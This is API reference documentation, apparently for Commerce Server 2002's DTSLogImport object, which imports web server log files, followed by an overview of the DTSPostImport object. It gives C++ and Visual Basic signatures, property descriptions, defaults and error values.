[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::PersistPropertyBag_Save Method [C++]

DTSLogImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport Properties [C++]

DTSLogImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
EndTime | DATE | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | VARIANT_BOOL | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ReadInfoFromAdmin | VARIANT_BOOL | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | DATE | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | VARIANT | Specifies the log files to import. This property is read/write.
[Visual Basic]
Property | Type | Description
EndTime | Date | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | Boolean | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | Long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write
ReadInfoFromAdmin | Boolean | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | Long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | Date | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | Variant | Specifies the log files to import. This property is read/write.


_DTSLogImport::get_EndTime, put_EndTime Property [C++]

DTSLogImport.EndTime Property [Visual Basic]

The EndTime property is a read/write Date that stores the end time for the time range in which the logs are imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_EndTime(
 DATE EndTime
);

Put method:

HRESULT _DTSLogImport::put_EndTime(
 DATE EndTime
);
[Visual Basic]
Property EndTime() As Date

Parameters

EndTime[C++]
[out, retval] When getting a value, a DATE that specifies the end time for the time range in which log files are imported.
[in] When putting a value, a DATE that specifies the end time for the time range in which log files are imported.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is only used if the ImportAllLogsSinceLastImport property is set to False. The default value is the current time.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport Property [C++]

DTSLogImport.ImportAllLogsSinceLastImport Property [Visual Basic]

The ImportAllLogsSinceLastImport property is a read/write Variant that contains a Boolean that specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_ImportAllLogsSinceLastImport(
 VARIANT_BOOL ImportAllLogsSinceLastImport
);

Put method:

HRESULT _DTSLogImport::put_ImportAllLogsSinceLastImport(
 VARIANT_BOOL ImportAllLogsSinceLastImport
);
[Visual Basic]
Property ImportAllLogsSinceLastImport() As Boolean

Parameters

ImportAllLogsSinceLastImport[C++]
[out, retval] When getting a value, a VARIANT containing a Boolean that determines if all the log files created since the last import will be imported.
[in] When putting the value, a VARIANT containing a Boolean that determines if all the log files created since the last import will be imported.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ImportAllLogsSinceLastImport property is set to True, all log files created since the last import will be imported. If the ImportAllLogsSinceLastImport property is set to False, the StartTime and EndTime properties will be used to determine which log files to import.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_NumRetries, put_NumRetries Property [C++]

DTSLogImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSLogImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[out, retval] When getting a property, a long that specifies the number of retry attempts to be made.
[in] When putting a property, a long that specifies the number of retry attempts to be made.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin Property [C++]

DTSLogImport.ReadInfoFromAdmin Property [Visual Basic]

The ReadInfoFromAdmin property is a Variant that contains a Boolean that enables the user to override some of the information in the Administrative database.

Caution

  • This property should only be used if the user has a clear understanding of Log Data Sources.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_ReadInfoFromAdmin(
 VARIANT_BOOL ReadInfoFromAdmin
);

Put method:

HRESULT _DTSLogImport::put_ReadInfoFromAdmin(
 VARIANT_BOOL ReadInfoFromAdmin
);
[Visual Basic]
Property ReadInfoFromAdmin() As Boolean

Parameters

ReadInfoFromAdmin[C++]
[out, retval] When getting the value, a VARIANT that contains a Boolean that determines if information is read from the Administrative database, or if the Administrative database is overwritten.
[in] When putting the value, a VARIANT that contains a Boolean that determines if information is read from the Administrative database, or if the Administrative database is overwritten.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ReadInfoFromAdmin property is set to True, information is read from the Administrative database. If the ReadInfoFromAdmin property is set to False, the user can still read from the Administrative database, and can also specify log files to be imported through the VLogFileInfo property. The default value is True.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSLogImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSLogImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[out, retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_SourceName, put_SourceName Property [C++]

DTSLogImport.SourceName Property [Visual Basic]

The SourceName property is a read/write String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSLogImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out, retval] When getting the property, a pointer to a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_SourceType, put_SourceType Property [C++]

DTSLogImport.SourceType Property [Visual Basic]

The SourceType property is an long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSLogImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[out, retval] When getting the property, a long that contains the type of source.
[in] When putting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_StartTime, put_StartTime Property [C++]

DTSLogImport.StartTime Property [Visual Basic]

The StartTime property is a read/write Date that stores the start time for the time range in which the log files are imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_StartTime(
 DATE StartTime
);

Put method:

HRESULT _DTSLogImport::put_StartTime(
 DATE StartTime
);
[Visual Basic]
Property StartTime() As Date

Parameters

StartTime[C++]
[in] When putting a value, a DATE that specifies the start time for the time range in which the log files are imported.
[out, retval] When getting a value, a DATE that specifies the start time for the time range in which the log files are imported.
None.[Visual Basic]

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The StartTime property is only used if the ImportAllLogsSinceLastImport property is set to False. The default value is the current time.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.VLogFileInfo


_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo Property [C++]

DTSLogImport.VLogFileInfo Property [Visual Basic]

The VLogFileInfo property is a read/write Variant that contains an array that lists the log files to import.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_VLogFileInfo(
 VARIANT VLogFileInfo
);

Put method:

HRESULT _DTSLogImport::put_VLogFileInfo(
 VARIANT VLogFileInfo
);
[Visual Basic]
Property VLogFileInfo() As Variant

Parameters

VLogFileInfo[C++]
[out, retval] When getting a value, a VARIANT that contains an array of log filenames.
[in] When putting a value, a VARIANT that contains an array of log file names.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The VLogFileInfo property is only used if the ReadInfoFromAdmin property is set to False. If you specify directories instead of files, all files in that directory will be imported regardless of the file type. No file type checking is performed. If file types are not correct, the import will fail.

[Visual Basic]

Example

' File names or folder names can be used to specify the files to import.
' If the folder name is used all the files in that folder will be added to
' the current import task.
Dim vData
ReDim vData(1)
vLogFileInfo(0) = "LDS Name, File1, File2"
vLogFileInfo(1) = "LDS Name, Folder"

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime


DTSPostImport Object [C++]

DTSPostImport Object [Visual Basic]

Use this object to populate OLAP cubes with the data that was imported, prepare the imported data for report generation, and refresh the OLAP cubes after a deletion. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Report Preparation DTS task, see Scripting the Report Preparation DTS Task.

ProgID: | Commerce.DTSPostImport (Externally creatable)
COM Class Name: | DTSPostImport
Type Library Name: | Microsoft Commerce 2002 Post Import Data DTS Task Type Library
DLL Name: | CSDWDTSPostImport.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSPostImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
CustomTask_Name | BSTR | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | BSTR | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | BSTR | Contains the name of the DTS task being run. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Name | String | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | String | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | Long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | String | Contains the name of the DTS task being run. This property is read/write.

See Also

Scripting the Report Preparation DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSSynchAdminData Object

DTSTransactionImport Object


_DTSPostImport Methods [C++]

